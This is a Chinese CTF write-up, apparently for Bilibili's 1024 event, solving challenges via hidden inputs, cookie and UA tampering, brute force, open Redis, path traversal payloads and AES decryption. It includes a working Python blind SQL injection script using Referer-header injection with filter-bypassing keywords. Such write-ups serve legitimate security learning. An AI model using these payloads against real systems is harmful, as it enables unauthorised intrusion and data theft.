第一题题目地址:页面的背后是什么? http://45.113.201.36/index.html
这里有两个思路 1.直接审查元素,发现这么一段

<input id="flag1" type="hidden" values="flag1" value="4b71013a-da38dd23-f0beadea-3762be15">

毫无疑问flag1是4b71013a-da38dd23-f0beadea-3762be15//可能会有变化,以页面为准。
2.还是看页面的源码

<script>
    $.ajax({
    url: "api/admin",
    type: "get",
    success:function (data) {
        //console.log(data);
        if (data.code == 200){
            // 如果有值:前端跳转
            var input = document.getElementById("flag1");
            input.value = String(data.data);
        } else {
            // 如果没值
            $('#flag1').html("接口异常,请稍后再试~");
        }
    }
})
</script>

易得出http://45.113.201.36/api/admin 可以得到flag1
2 按照提示改UA3 用户名万年admin,密码b站叫啥?4 cookie role嗯,,,win超级管理员,你懂的 Administrator5 暴力,从100336889开始,嫌麻烦的话...100336908开始吧(ノ_ _)ノ10 绝了,翻出以前的工具扫出来个test.php(这步貌似是意外,经大佬提醒应该从“结束”得到end.php下手),fuckjs,够狠的;用console搞出来第一个str的内容是程序员最多的地方,第二个是bilibili1024havefun,搜索得到https://github.com/interesting-1024/end/end.php,也就是目录下end.php的源码(实际上并不是真正的源码,实测无法遍历目录);传参id[]=1满足第一个条件,按照前面题目的格式api/ctf/x,不难猜出api/ctf/6/flag.txt(其实只要带flag.txt就行),另存为图片,编辑器打开即见flag8 牛的,用redis连上,get keyredis-server启动redis-cli 120.92.151.189:6379(ip现在是45.113.201.36的那个了)get flag8
第六题

import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,100):
    left=33
    right=128

    while right-left!=1:
        mid=(left+right)/2
        payload="0123'^if(substr((selselectect flag from flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
        headers={
        'Referer':payload
        }
        r=requests.get(url=url,headers=headers)
        if len(r.text) == 5596:
            left=mid
        else:
            right=mid
    flag+=chr(right)
    print (flag)

得出flag:a2b0883c-ffbb8d17-9a3bbf1c-ed600c80

第七个http://45.113.201.36/api/images?file=../../../flag7.txt
006bdfaa-700f1e69-415b1d2c-995e43be

第九题(最难的全军覆没)
第九题解法:
from Crypto.Cipher import AES
aes = AES.new('aes_key'+'x00'*9, AES.MODE_ECB)
print base64.b64encode(base64.b64encode('00000000-00000000-00000000-00000000'))s='SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw=='.decode('base64')
print aes.decrypt(s.decode('base64'))

flag9: 8b522546-e52d83b8-5682e05c-c8cb237c
这题我真的吐了

来自(https://github.com/interesting-1024/end/issues/311)

第九题

访问http://45.113.201.36/api/images?file=../../../secret.txt

得到信息

{"code":200,"data":"SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==","msg":""}

base64解码

JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG

密文: this is the key of secret.txt:aes_key

怎么来的?

靶机图片!!!
ae10c97f6de1129abb00b5c961394336.jpg(为什么是ta?因为ta的md5是JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG)

AES128 ECB模式,秘钥aes_key,zero_padding

就解出来了flag9: 8b522546-e52d83b8-5682e05c-c8cb237c

Last modification:October 28th, 2020 at 04:53 pm
If you think my article is useful to you, please feel free to appreciate